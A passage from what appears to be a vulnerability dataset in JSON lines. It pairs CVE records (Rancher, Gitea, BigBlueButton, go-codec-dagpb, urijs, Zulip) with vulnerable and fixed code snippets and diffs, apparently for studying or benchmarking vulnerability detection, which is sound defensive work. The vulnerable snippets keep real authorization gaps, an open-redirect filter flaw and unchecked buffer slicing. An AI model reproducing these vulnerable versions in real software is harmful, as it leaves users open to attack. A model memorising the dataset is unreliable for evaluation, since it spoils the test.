proxyHandler))\n\tmux.Path(\"/{prefix:k8s/clusters/[^/]+}{suffix:/v1.*}\").MatcherFunc(proxyHandler.MatchNonLegacy(\"/k8s/clusters/\")).Handler(proxyHandler)\n\n\treturn func(handler http.Handler) http.Handler {\n\t\treturn http.HandlerFunc(func(rw http.ResponseWriter, req *http.Request) {\n\t\t\tmux.NotFoundHandler = handler\n\t\t\tmux.ServeHTTP(rw, req)\n\t\t})\n\t}, nil\n}"}, {"id": "vul_go_143_2", "commit": "1f516d1", "file_path": "pkg/api/steve/proxy/proxy.go", "start_line": 135, "end_line": 146, "snippet": "func (h *Handler) authLocalCluster(router *gmux.Router) func(rw http.ResponseWriter, r *http.Request) {\n\treturn func(rw http.ResponseWriter, req *http.Request) {\n\t\tauthed := h.userCanAccessCluster(req, \"local\")\n\t\tif !authed {\n\t\t\tif req.Context().Value(auth.CattleAuthFailed) != \"true\" {\n\t\t\t\trw.WriteHeader(http.StatusUnauthorized)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t\trouter.NotFoundHandler.ServeHTTP(rw, req)\n\t}\n}"}], "fix_func": [{"id": "fix_go_143_1", "commit": "fd40f5f", "file_path": "pkg/api/steve/proxy/proxy.go", "start_line": 47, "end_line": 80, "snippet": "func NewProxyMiddleware(sar v1.AuthorizationV1Interface,\n\tdialerFactory ClusterDialerFactory,\n\tclusters v3.ClusterCache,\n\tlocalSupport bool,\n\tlocalCluster http.Handler) (func(http.Handler) http.Handler, error) {\n\tcfg := authorizerfactory.DelegatingAuthorizerConfig{\n\t\tSubjectAccessReviewClient: sar,\n\t\tAllowCacheTTL:             time.Second * time.Duration(settings.AuthorizationCacheTTLSeconds.GetInt()),\n\t\tDenyCacheTTL:              time.Second * time.Duration(settings.AuthorizationDenyCacheTTLSeconds.GetInt()),\n\t\tWebhookRetryBackoff:       &auth.WebhookBackoff,\n\t}\n\n\tauthorizer, err := cfg.New()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tproxyHandler := NewProxyHandler(authorizer, dialerFactory, clusters)\n\n\tmux := gmux.NewRouter()\n\tmux.UseEncodedPath()\n\tmux.PathPrefix(\"/api\").MatcherFunc(proxyHandler.matchManagementCRDs()).HandlerFunc(proxyHandler.authLocalCluster(mux))\n\tmux.Path(\"/v1/management.cattle.io.clusters/{clusterID}\").Queries(\"link\", \"shell\").HandlerFunc(routeToShellProxy(\"link\", \"shell\", localSupport, localCluster, mux, proxyHandler))\n\tmux.Path(\"/v1/management.cattle.io.clusters/{clusterID}\").Queries(\"action\", \"apply\").HandlerFunc(routeToShellProxy(\"action\", \"apply\", localSupport, localCluster, mux, proxyHandler))\n\tmux.Path(\"/v3/clusters/{clusterID}\").Queries(\"shell\", \"true\").HandlerFunc(routeToShellProxy(\"link\", \"shell\", localSupport, localCluster, mux, proxyHandler))\n\tmux.Path(\"/{prefix:k8s/clusters/[^/]+}{suffix:/v1.*}\").MatcherFunc(proxyHandler.MatchNonLegacy(\"/k8s/clusters/\")).Handler(proxyHandler)\n\n\treturn func(handler http.Handler) http.Handler {\n\t\treturn http.HandlerFunc(func(rw http.ResponseWriter, req *http.Request) {\n\t\t\tmux.NotFoundHandler = handler\n\t\t\tmux.ServeHTTP(rw, req)\n\t\t})\n\t}, nil\n}"}, {"id": "fix_go_143_2", "commit": "fd40f5f", "file_path": "pkg/api/steve/proxy/proxy.go", "start_line": 135, "end_line": 144, "snippet": "func (h *Handler) authLocalCluster(router *gmux.Router) func(rw http.ResponseWriter, r *http.Request) {\n\treturn func(rw http.ResponseWriter, req *http.Request) {\n\t\tauthed := h.userCanAccessCluster(req, \"local\")\n\t\tif !authed {\n\t\t\trw.WriteHeader(http.StatusForbidden)\n\t\t\treturn\n\t\t}\n\t\trouter.NotFoundHandler.ServeHTTP(rw, req)\n\t}\n}"}, {"id": "fix_go_143_3", "commit": "fd40f5f", "file_path": "pkg/api/steve/proxy/proxy.go", "start_line": 146, "end_line": 155, "snippet": "func (h *Handler) matchManagementCRDs() gmux.MatcherFunc {\n\treturn func(req *http.Request, match *gmux.RouteMatch) bool {\n\t\tsplitPath := strings.Split(req.URL.Path, \"/\")\n\t\tif len(splitPath) < 3 {\n\t\t\treturn false\n\t\t}\n\t\tapiGroup := splitPath[2]\n\t\treturn apiGroup == managementv3.GroupName\n\t}\n}"}], "vul_patch": "--- a/pkg/api/steve/proxy/proxy.go\n+++ b/pkg/api/steve/proxy/proxy.go\n@@ -19,7 +19,7 @@\n \n \tmux := gmux.NewRouter()\n \tmux.UseEncodedPath()\n-\tmux.PathPrefix(\"/api\").HandlerFunc(proxyHandler.authLocalCluster(mux))\n+\tmux.PathPrefix(\"/api\").MatcherFunc(proxyHandler.matchManagementCRDs()).HandlerFunc(proxyHandler.authLocalCluster(mux))\n \tmux.Path(\"/v1/management.cattle.io.clusters/{clusterID}\").Queries(\"link\", \"shell\").HandlerFunc(routeToShellProxy(\"link\", \"shell\", localSupport, localCluster, mux, proxyHandler))\n \tmux.Path(\"/v1/management.cattle.io.clusters/{clusterID}\").Queries(\"action\", \"apply\").HandlerFunc(routeToShellProxy(\"action\", \"apply\", localSupport, localCluster, mux, proxyHandler))\n \tmux.Path(\"/v3/clusters/{clusterID}\").Queries(\"shell\", \"true\").HandlerFunc(routeToShellProxy(\"link\", \"shell\", localSupport, localCluster, mux, proxyHandler))\n\n--- a/pkg/api/steve/proxy/proxy.go\n+++ b/pkg/api/steve/proxy/proxy.go\n@@ -2,10 +2,8 @@\n \treturn func(rw http.ResponseWriter, req *http.Request) {\n \t\tauthed := h.userCanAccessCluster(req, \"local\")\n \t\tif !authed {\n-\t\t\tif req.Context().Value(auth.CattleAuthFailed) != \"true\" {\n-\t\t\t\trw.WriteHeader(http.StatusUnauthorized)\n-\t\t\t\treturn\n-\t\t\t}\n+\t\t\trw.WriteHeader(http.StatusForbidden)\n+\t\t\treturn\n \t\t}\n \t\trouter.NotFoundHandler.ServeHTTP(rw, req)\n \t}\n\n--- /dev/null\n+++ b/pkg/api/steve/proxy/proxy.go\n@@ -0,0 +1,10 @@\n+func (h *Handler) matchManagementCRDs() gmux.MatcherFunc {\n+\treturn func(req *http.Request, match *gmux.RouteMatch) bool {\n+\t\tsplitPath := strings.Split(req.URL.Path, \"/\")\n+\t\tif len(splitPath) < 3 {\n+\t\t\treturn false\n+\t\t}\n+\t\tapiGroup := splitPath[2]\n+\t\treturn apiGroup == managementv3.GroupName\n+\t}\n+}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-3515", "cve_description": "Open Redirect in GitHub repository go-gitea/gitea prior to 1.19.4.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/go-gitea/gitea", "patch_url": ["https://github.com/go-gitea/gitea/commit/9aaaf980f0ba15611f30568bd67bce3ec12954e2"], "programing_language": "Go", "vul_func": [{"id": "vul_go_98_1", "commit": "263ed09", "file_path": "modules/context/context_response.go", "start_line": 46, "end_line": 68, "snippet": "func (ctx *Context) RedirectToFirst(location ...string) {\n\tfor _, loc := range location {\n\t\tif len(loc) == 0 {\n\t\t\tcontinue\n\t\t}\n\n\t\t// Unfortunately browsers consider a redirect Location with preceding \"//\" and \"/\\\" as meaning redirect to \"http(s)://REST_OF_PATH\"\n\t\t// Therefore we should ignore these redirect locations to prevent open redirects\n\t\tif len(loc) > 1 && loc[0] == '/' && (loc[1] == '/' || loc[1] == '\\\\') {\n\t\t\tcontinue\n\t\t}\n\n\t\tu, err := url.Parse(loc)\n\t\tif err != nil || ((u.Scheme != \"\" || u.Host != \"\") && !strings.HasPrefix(strings.ToLower(loc), strings.ToLower(setting.AppURL))) {\n\t\t\tcontinue\n\t\t}\n\n\t\tctx.Redirect(loc)\n\t\treturn\n\t}\n\n\tctx.Redirect(setting.AppSubURL + \"/\")\n}"}], "fix_func": [{"id": "fix_go_98_1", "commit": "9aaaf98", "file_path": "modules/context/context_response.go", "start_line": 46, "end_line": 68, "snippet": "func (ctx *Context) RedirectToFirst(location ...string) {\n\tfor _, loc := range location {\n\t\tif len(loc) == 0 {\n\t\t\tcontinue\n\t\t}\n\n\t\t// Unfortunately browsers consider a redirect Location with preceding \"//\", \"\\\\\" and \"/\\\" as meaning redirect to \"http(s)://REST_OF_PATH\"\n\t\t// Therefore we should ignore these redirect locations to prevent open redirects\n\t\tif len(loc) > 1 && (loc[0] == '/' || loc[0] == '\\\\') && (loc[1] == '/' || loc[1] == '\\\\') {\n\t\t\tcontinue\n\t\t}\n\n\t\tu, err := url.Parse(loc)\n\t\tif err != nil || ((u.Scheme != \"\" || u.Host != \"\") && !strings.HasPrefix(strings.ToLower(loc), strings.ToLower(setting.AppURL))) {\n\t\t\tcontinue\n\t\t}\n\n\t\tctx.Redirect(loc)\n\t\treturn\n\t}\n\n\tctx.Redirect(setting.AppSubURL + \"/\")\n}"}], "vul_patch": "--- a/modules/context/context_response.go\n+++ b/modules/context/context_response.go\n@@ -4,9 +4,9 @@\n \t\t\tcontinue\n \t\t}\n \n-\t\t// Unfortunately browsers consider a redirect Location with preceding \"//\" and \"/\\\" as meaning redirect to \"http(s)://REST_OF_PATH\"\n+\t\t// Unfortunately browsers consider a redirect Location with preceding \"//\", \"\\\\\" and \"/\\\" as meaning redirect to \"http(s)://REST_OF_PATH\"\n \t\t// Therefore we should ignore these redirect locations to prevent open redirects\n-\t\tif len(loc) > 1 && loc[0] == '/' && (loc[1] == '/' || loc[1] == '\\\\') {\n+\t\tif len(loc) > 1 && (loc[0] == '/' || loc[0] == '\\\\') && (loc[1] == '/' || loc[1] == '\\\\') {\n \t\t\tcontinue\n \t\t}\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-27601", "cve_description": "In BigBlueButton before 2.2.7, lockSettingsProps.disablePrivateChat does not apply to already opened chats. This occurs in bigbluebutton-html5/imports/ui/components/chat/service.js.", "cwe_info": {"CWE-668": {"name": "Exposure of Resource to Wrong Sphere", "description": "The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource."}}, "repo": "https://github.com/bigbluebutton/bigbluebutton", "patch_url": ["https://github.com/bigbluebutton/bigbluebutton/commit/7dcdfb191373684bafa7b11cdd0128c9869040a1"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_267_1", "commit": "a0e02932c6b00bf58bfee1ac31d8e6fa82263ee8", "file_path": "bigbluebutton-html5/imports/ui/components/chat/service.js", "start_line": 134, "end_line": 156, "snippet": "const isChatLocked = (receiverID) => {\n  const isPublic = receiverID === PUBLIC_CHAT_ID;\n\n  const meeting = Meetings.findOne({ meetingId: Auth.meetingID },\n    { fields: { 'lockSettingsProps.disablePublicChat': 1 } });\n  const user = Users.findOne({ meetingId: Auth.meetingID, userId: Auth.userID },\n    { fields: { locked: 1, role: 1 } });\n  const receiver = Users.findOne({ meetingId: Auth.meetingID, userId: receiverID },\n    { fields: { role: 1 } });\n  const isReceiverModerator = receiver && receiver.role === ROLE_MODERATOR;\n\n  if (meeting.lockSettingsProps !== undefined) {\n    if (user.locked && user.role !== ROLE_MODERATOR) {\n      if (isPublic) {\n        return meeting.lockSettingsProps.disablePublicChat;\n      }\n      return !isReceiverModerator\n        && meeting.lockSettingsProps.disablePrivateChat;\n    }\n  }\n\n  return false;\n};"}], "fix_func": [{"id": "fix_js_267_1", "commit": "7dcdfb191373684bafa7b11cdd0128c9869040a1", "file_path": "bigbluebutton-html5/imports/ui/components/chat/service.js", "start_line": 134, "end_line": 155, "snippet": "const isChatLocked = (receiverID) => {\n  const isPublic = receiverID === PUBLIC_CHAT_ID;\n  const meeting = Meetings.findOne({ meetingId: Auth.meetingID },\n    { fields: { 'lockSettingsProps.disablePublicChat': 1, 'lockSettingsProps.disablePrivateChat': 1 } });\n  const user = Users.findOne({ meetingId: Auth.meetingID, userId: Auth.userID },\n    { fields: { locked: 1, role: 1 } });\n  const receiver = Users.findOne({ meetingId: Auth.meetingID, userId: receiverID },\n    { fields: { role: 1 } });\n  const isReceiverModerator = receiver && receiver.role === ROLE_MODERATOR;\n\n  if (meeting.lockSettingsProps !== undefined) {\n    if (user.locked && user.role !== ROLE_MODERATOR) {\n      if (isPublic) {\n        return meeting.lockSettingsProps.disablePublicChat;\n      }\n      return !isReceiverModerator\n        && meeting.lockSettingsProps.disablePrivateChat;\n    }\n  }\n\n  return false;\n};"}], "vul_patch": "--- a/bigbluebutton-html5/imports/ui/components/chat/service.js\n+++ b/bigbluebutton-html5/imports/ui/components/chat/service.js\n@@ -1,8 +1,7 @@\n const isChatLocked = (receiverID) => {\n   const isPublic = receiverID === PUBLIC_CHAT_ID;\n-\n   const meeting = Meetings.findOne({ meetingId: Auth.meetingID },\n-    { fields: { 'lockSettingsProps.disablePublicChat': 1 } });\n+    { fields: { 'lockSettingsProps.disablePublicChat': 1, 'lockSettingsProps.disablePrivateChat': 1 } });\n   const user = Users.findOne({ meetingId: Auth.meetingID, userId: Auth.userID },\n     { fields: { locked: 1, role: 1 } });\n   const receiver = Users.findOne({ meetingId: Auth.meetingID, userId: receiverID },\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-2584", "cve_description": "The dag-pb codec can panic when decoding invalid blocks.", "cwe_info": {"CWE-119": {"name": "Improper Restriction of Operations within the Bounds of a Memory Buffer", "description": "The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data."}}, "repo": "https://github.com/ipld/go-codec-dagpb", "patch_url": ["https://github.com/ipld/go-codec-dagpb/commit/a17ace35cc760a2698645c09868f9050fa219f57"], "programing_language": "Go", "vul_func": [{"id": "vul_go_297_1", "commit": "fa6d623cbc0da39a4940da01d7506d05df80c7ad", "file_path": "unmarshal.go", "start_line": 41, "end_line": 161, "snippet": "func DecodeBytes(na ipld.NodeAssembler, src []byte) error {\n\tremaining := src\n\n\tma, err := na.BeginMap(2)\n\tif err != nil {\n\t\treturn err\n\t}\n\tvar links ipld.ListAssembler\n\n\thaveData := false\n\thaveLinks := false\n\tfor {\n\t\tif len(remaining) == 0 {\n\t\t\tbreak\n\t\t}\n\n\t\tfieldNum, wireType, n := protowire.ConsumeTag(remaining)\n\t\tif n < 0 {\n\t\t\treturn protowire.ParseError(n)\n\t\t}\n\t\tremaining = remaining[n:]\n\n\t\tif wireType != 2 {\n\t\t\treturn fmt.Errorf(\"protobuf: (PBNode) invalid wireType, expected 2, got %d\", wireType)\n\t\t}\n\n\t\t// Note that we allow Data and Links to come in either order,\n\t\t// since the spec defines that decoding \"should\" accept either form.\n\t\t// This is for backwards compatibility with older IPFS data.\n\n\t\tswitch fieldNum {\n\t\tcase 1:\n\t\t\tif haveData {\n\t\t\t\treturn fmt.Errorf(\"protobuf: (PBNode) duplicate Data section\")\n\t\t\t}\n\n\t\t\tchunk, n := protowire.ConsumeBytes(remaining)\n\t\t\tif n < 0 {\n\t\t\t\treturn protowire.ParseError(n)\n\t\t\t}\n\t\t\tremaining = remaining[n:]\n\n\t\t\tif links != nil {\n\t\t\t\t// Links came before Data.\n\t\t\t\t// Finish them before we start Data.\n\t\t\t\tif err := links.Finish(); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tlinks = nil\n\t\t\t}\n\n\t\t\tif err := ma.AssembleKey().AssignString(\"Data\"); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif err := ma.AssembleValue().AssignBytes(chunk); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\thaveData = true\n\n\t\tcase 2:\n\t\t\tbytesLen, n := protowire.ConsumeVarint(remaining)\n\t\t\tif n < 0 {\n\t\t\t\treturn protowire.ParseError(n)\n\t\t\t}\n\t\t\tremaining = remaining[n:]\n\n\t\t\tif links == nil {\n\t\t\t\tif haveLinks {\n\t\t\t\t\treturn fmt.Errorf(\"protobuf: (PBNode) duplicate Links section\")\n\t\t\t\t}\n\n\t\t\t\t// The repeated \"Links\" part begins.\n\t\t\t\tif err := ma.AssembleKey().AssignString(\"Links\"); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tlinks, err = ma.AssembleValue().BeginList(0)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tcurLink, err := links.AssembleValue().BeginMap(3)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif err := unmarshalLink(remaining[:bytesLen], curLink); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tremaining = remaining[bytesLen:]\n\t\t\tif err := curLink.Finish(); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\thaveLinks = true\n\n\t\tdefault:\n\t\t\treturn fmt.Errorf(\"protobuf: (PBNode) invalid fieldNumber, expected 1 or 2, got %d\", fieldNum)\n\t\t}\n\t}\n\n\tif links != nil {\n\t\t// We had some links at the end, so finish them.\n\t\tif err := links.Finish(); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t} else if !haveLinks {\n\t\t// We didn't have any links.\n\t\t// Since we always want a Links field, add one here.\n\t\tif err := ma.AssembleKey().AssignString(\"Links\"); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tlinks, err := ma.AssembleValue().BeginList(0)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := links.Finish(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn ma.Finish()\n}"}], "fix_func": [{"id": "fix_go_297_1", "commit": "a17ace35cc760a2698645c09868f9050fa219f57", "file_path": "unmarshal.go", "start_line": 41, "end_line": 160, "snippet": "func DecodeBytes(na ipld.NodeAssembler, src []byte) error {\n\tremaining := src\n\n\tma, err := na.BeginMap(2)\n\tif err != nil {\n\t\treturn err\n\t}\n\tvar links ipld.ListAssembler\n\n\thaveData := false\n\thaveLinks := false\n\tfor {\n\t\tif len(remaining) == 0 {\n\t\t\tbreak\n\t\t}\n\n\t\tfieldNum, wireType, n := protowire.ConsumeTag(remaining)\n\t\tif n < 0 {\n\t\t\treturn protowire.ParseError(n)\n\t\t}\n\t\tremaining = remaining[n:]\n\n\t\tif wireType != 2 {\n\t\t\treturn fmt.Errorf(\"protobuf: (PBNode) invalid wireType, expected 2, got %d\", wireType)\n\t\t}\n\n\t\t// Note that we allow Data and Links to come in either order,\n\t\t// since the spec defines that decoding \"should\" accept either form.\n\t\t// This is for backwards compatibility with older IPFS data.\n\n\t\tswitch fieldNum {\n\t\tcase 1:\n\t\t\tif haveData {\n\t\t\t\treturn fmt.Errorf(\"protobuf: (PBNode) duplicate Data section\")\n\t\t\t}\n\n\t\t\tchunk, n := protowire.ConsumeBytes(remaining)\n\t\t\tif n < 0 {\n\t\t\t\treturn protowire.ParseError(n)\n\t\t\t}\n\t\t\tremaining = remaining[n:]\n\n\t\t\tif links != nil {\n\t\t\t\t// Links came before Data.\n\t\t\t\t// Finish them before we start Data.\n\t\t\t\tif err := links.Finish(); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tlinks = nil\n\t\t\t}\n\n\t\t\tif err := ma.AssembleKey().AssignString(\"Data\"); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif err := ma.AssembleValue().AssignBytes(chunk); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\thaveData = true\n\n\t\tcase 2:\n\t\t\tchunk, n := protowire.ConsumeBytes(remaining)\n\t\t\tif n < 0 {\n\t\t\t\treturn protowire.ParseError(n)\n\t\t\t}\n\t\t\tremaining = remaining[n:]\n\n\t\t\tif links == nil {\n\t\t\t\tif haveLinks {\n\t\t\t\t\treturn fmt.Errorf(\"protobuf: (PBNode) duplicate Links section\")\n\t\t\t\t}\n\n\t\t\t\t// The repeated \"Links\" part begins.\n\t\t\t\tif err := ma.AssembleKey().AssignString(\"Links\"); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tlinks, err = ma.AssembleValue().BeginList(0)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tcurLink, err := links.AssembleValue().BeginMap(3)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif err := unmarshalLink(chunk, curLink); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif err := curLink.Finish(); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\thaveLinks = true\n\n\t\tdefault:\n\t\t\treturn fmt.Errorf(\"protobuf: (PBNode) invalid fieldNumber, expected 1 or 2, got %d\", fieldNum)\n\t\t}\n\t}\n\n\tif links != nil {\n\t\t// We had some links at the end, so finish them.\n\t\tif err := links.Finish(); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t} else if !haveLinks {\n\t\t// We didn't have any links.\n\t\t// Since we always want a Links field, add one here.\n\t\tif err := ma.AssembleKey().AssignString(\"Links\"); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tlinks, err := ma.AssembleValue().BeginList(0)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := links.Finish(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn ma.Finish()\n}"}], "vul_patch": "--- a/unmarshal.go\n+++ b/unmarshal.go\n@@ -58,7 +58,7 @@\n \t\t\thaveData = true\n \n \t\tcase 2:\n-\t\t\tbytesLen, n := protowire.ConsumeVarint(remaining)\n+\t\t\tchunk, n := protowire.ConsumeBytes(remaining)\n \t\t\tif n < 0 {\n \t\t\t\treturn protowire.ParseError(n)\n \t\t\t}\n@@ -83,10 +83,9 @@\n \t\t\tif err != nil {\n \t\t\t\treturn err\n \t\t\t}\n-\t\t\tif err := unmarshalLink(remaining[:bytesLen], curLink); err != nil {\n+\t\t\tif err := unmarshalLink(chunk, curLink); err != nil {\n \t\t\t\treturn err\n \t\t\t}\n-\t\t\tremaining = remaining[bytesLen:]\n \t\t\tif err := curLink.Finish(); err != nil {\n \t\t\t\treturn err\n \t\t\t}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-0613", "cve_description": "Authorization Bypass Through User-Controlled Key in NPM urijs prior to 1.19.8.", "cwe_info": {"CWE-862": {"name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-639": {"name": "Authorization Bypass Through User-Controlled Key", "description": "The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data."}}, "repo": "https://github.com/medialize/uri.js", "patch_url": ["https://github.com/medialize/uri.js/commit/6ea641cc8648b025ed5f30b090c2abd4d1a5249f"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_156_1", "commit": "19e54c7", "file_path": "src/URI.js", "start_line": 490, "end_line": 549, "snippet": "  URI.parse = function(string, parts) {\n    var pos;\n    if (!parts) {\n      parts = {\n        preventInvalidHostname: URI.preventInvalidHostname\n      };\n    }\n    // [protocol\"://\"[username[\":\"password]\"@\"]hostname[\":\"port]\"/\"?][path][\"?\"querystring][\"#\"fragment]\n\n    // extract fragment\n    pos = string.indexOf('#');\n    if (pos > -1) {\n      // escaping?\n      parts.fragment = string.substring(pos + 1) || null;\n      string = string.substring(0, pos);\n    }\n\n    // extract query\n    pos = string.indexOf('?');\n    if (pos > -1) {\n      // escaping?\n      parts.query = string.substring(pos + 1) || null;\n      string = string.substring(0, pos);\n    }\n\n    // slashes and backslashes have lost all meaning for the web protocols (https, http, wss, ws)\n    string = string.replace(/^(https?|ftp|wss?)?:[/\\\\]*/, '$1://');\n\n    // extract protocol\n    if (string.substring(0, 2) === '//') {\n      // relative-scheme\n      parts.protocol = null;\n      string = string.substring(2);\n      // extract \"user:pass@host:port\"\n      string = URI.parseAuthority(string, parts);\n    } else {\n      pos = string.indexOf(':');\n      if (pos > -1) {\n        parts.protocol = string.substring(0, pos) || null;\n        if (parts.protocol && !parts.protocol.match(URI.protocol_expression)) {\n          // : may be within the path\n          parts.protocol = undefined;\n        } else if (string.substring(pos + 1, pos + 3).replace(/\\\\/g, '/') === '//') {\n          string = string.substring(pos + 3);\n\n          // extract \"user:pass@host:port\"\n          string = URI.parseAuthority(string, parts);\n        } else {\n          string = string.substring(pos + 1);\n          parts.urn = true;\n        }\n      }\n    }\n\n    // what's left must be the path\n    parts.path = string;\n\n    // and we're done\n    return parts;\n  };"}], "fix_func": [{"id": "fix_js_156_1", "commit": "6ea641c", "file_path": "src/URI.js", "start_line": 490, "end_line": 549, "snippet": "  URI.parse = function(string, parts) {\n    var pos;\n    if (!parts) {\n      parts = {\n        preventInvalidHostname: URI.preventInvalidHostname\n      };\n    }\n    // [protocol\"://\"[username[\":\"password]\"@\"]hostname[\":\"port]\"/\"?][path][\"?\"querystring][\"#\"fragment]\n\n    // extract fragment\n    pos = string.indexOf('#');\n    if (pos > -1) {\n      // escaping?\n      parts.fragment = string.substring(pos + 1) || null;\n      string = string.substring(0, pos);\n    }\n\n    // extract query\n    pos = string.indexOf('?');\n    if (pos > -1) {\n      // escaping?\n      parts.query = string.substring(pos + 1) || null;\n      string = string.substring(0, pos);\n    }\n\n    // slashes and backslashes have lost all meaning for the web protocols (https, http, wss, ws)\n    string = string.replace(/^(https?|ftp|wss?)?:[/\\\\]*/i, '$1://');\n\n    // extract protocol\n    if (string.substring(0, 2) === '//') {\n      // relative-scheme\n      parts.protocol = null;\n      string = string.substring(2);\n      // extract \"user:pass@host:port\"\n      string = URI.parseAuthority(string, parts);\n    } else {\n      pos = string.indexOf(':');\n      if (pos > -1) {\n        parts.protocol = string.substring(0, pos) || null;\n        if (parts.protocol && !parts.protocol.match(URI.protocol_expression)) {\n          // : may be within the path\n          parts.protocol = undefined;\n        } else if (string.substring(pos + 1, pos + 3).replace(/\\\\/g, '/') === '//') {\n          string = string.substring(pos + 3);\n\n          // extract \"user:pass@host:port\"\n          string = URI.parseAuthority(string, parts);\n        } else {\n          string = string.substring(pos + 1);\n          parts.urn = true;\n        }\n      }\n    }\n\n    // what's left must be the path\n    parts.path = string;\n\n    // and we're done\n    return parts;\n  };"}], "vul_patch": "--- a/src/URI.js\n+++ b/src/URI.js\n@@ -24,7 +24,7 @@\n     }\n \n     // slashes and backslashes have lost all meaning for the web protocols (https, http, wss, ws)\n-    string = string.replace(/^(https?|ftp|wss?)?:[/\\\\]*/, '$1://');\n+    string = string.replace(/^(https?|ftp|wss?)?:[/\\\\]*/i, '$1://');\n \n     // extract protocol\n     if (string.substring(0, 2) === '//') {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2017-0881", "cve_description": "An error in the implementation of an autosubscribe feature in the check_stream_exists route of the Zulip group chat application server before 1.4.3 allowed an authenticated user to subscribe to a private stream that should have required an invitation from an existing member to join. The issue affects all previously released versions of the Zulip server.", "cwe_info": {"CWE-863": {"name": "Incorrect Authorization", "description": "The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check."}}, "repo": "https://github.com/zulip/zulip", "patch_url": ["https://github.com/zulip/zulip/commit/7ecda1ac8e26d8fb3725e954b2dc4723dda2255f"], "programing_language": "Python", "vul_func": [{"id": "vul_py_354_1", "commit": "7e0ce22808f70793ba1aeab6da46c539296cdec7", "file_path": "zerver/views/streams.py", "start_line": 475, "end_line": 491, "snippet": "def stream_exists_backend(request, user_profile, stream_id, autosubscribe):\n    # type: (HttpRequest, UserProfile, int, bool) -> HttpResponse\n    try:\n        stream = get_and_validate_stream_by_id(stream_id, user_profile.realm)\n    except JsonableError:\n        stream = None\n    result = {\"exists\": bool(stream)}\n    if stream is not None:\n        recipient = get_recipient(Recipient.STREAM, stream.id)\n        if autosubscribe:\n            bulk_add_subscriptions([stream], [user_profile])\n        result[\"subscribed\"] = is_active_subscriber(\n            user_profile=user_profile,\n            recipient=recipient)\n\n        return json_success(result) # results are ignored for HEAD requests\n    return json_response(data=result, status=404)"}], "fix_func": [{"id": "fix_py_354_1", "commit": "7ecda1ac8e26d8fb3725e954b2dc4723dda2255f", "file_path": "zerver/views/streams.py", "start_line": 475, "end_line": 491, "snippet": "def stream_exists_backend(request, user_profile, stream_id, autosubscribe):\n    # type: (HttpRequest, UserProfile, int, bool) -> HttpResponse\n    try:\n        stream = get_and_validate_stream_by_id(stream_id, user_profile.realm)\n    except JsonableError:\n        stream = None\n    result = {\"exists\": bool(stream)}\n    if stream is not None:\n        recipient = get_recipient(Recipient.STREAM, stream.id)\n        if not stream.invite_only and autosubscribe:\n            bulk_add_subscriptions([stream], [user_profile])\n        result[\"subscribed\"] = is_active_subscriber(\n            user_profile=user_profile,\n            recipient=recipient)\n\n        return json_success(result) # results are ignored for HEAD requests\n    return json_response(data=result, status=404)"}], "vul_patch": "--- a/zerver/views/streams.py\n+++ b/zerver/views/streams.py\n@@ -7,7 +7,7 @@\n     result = {\"exists\": bool(stream)}\n     if stream is not None:\n         recipient = get_recipient(Recipient.STREAM, stream.id)\n-        if autosubscribe:\n+        if not stream.invite_only and autosubscribe:\n             bulk_add_subscriptions([stream], [user_profile])\n         result[\"subscribed\"] = is_active_subscriber(\n             user_profile=user_profile,\n\n", "poc_patch": null, "unit_test_cmd": null}
